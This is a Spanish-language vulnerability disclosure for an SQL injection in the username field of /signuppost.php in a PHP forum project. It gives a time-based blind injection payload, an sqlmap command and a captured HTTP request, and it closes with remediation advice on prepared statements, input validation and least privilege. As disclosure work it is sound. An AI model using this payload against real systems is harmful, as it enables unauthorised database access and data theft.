
CVE-poc
CVE-poc
Inyección SQL
Se ha identificado una vulnerabilidad de inyección SQL en el archivo /signuppost.php del proyecto “Foro Técnico Usando Código Fuente PHP”. La vulnerabilidad se origina porque un atacante puede inyectar código malicioso a través del parámetro de nombre de usuario de inicio de sesión y utilizar ese parámetro directamente en una consulta SQL sin validación. Esto permite que un atacante falsee valores de entrada para manipular consultas SQL y realizar acciones no autorizadas.
Un atacante puede explotar esta vulnerabilidad de inyección SQL para obtener acceso no autorizado a una base de datos, divulgar datos sensibles, manipular datos, controlar completamente el sistema o incluso interrumpir servicios, lo que representa una grave amenaza para la seguridad del sistema y la continuidad del negocio.
Nombre de la Vulnerabilidad: Parámetro de Nombre de Usuario
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Uso de declaraciones preparadas y vinculación de parámetros Las declaraciones preparadas evitan la inyección SQL al separar el código SQL de los datos de entrada del usuario. Al usar declaraciones preparadas, los valores ingresados por el usuario se tratan como datos puros y no se interpretan como código SQL.
Validación y filtrado de entrada Valide y filtre estrictamente los datos de entrada del usuario para garantizar que cumplan con el formato esperado.
Minimizar los privilegios del usuario de la base de datos Asegúrese de que las cuentas utilizadas para conectarse a la base de datos tengan los privilegios mínimos necesarios. Evite usar cuentas con privilegios elevados (por ejemplo, “root” o “admin”) para operaciones diarias.
Realizar auditorías de seguridad periódicas Realice auditorías de seguridad periódicas del código y del sistema para identificar y corregir posibles vulnerabilidades de seguridad de manera oportuna.
Siguiendo estas recomendaciones, puede mejorar enormemente la seguridad de sus aplicaciones y reducir los riesgos asociados con las vulnerabilidades de inyección SQL.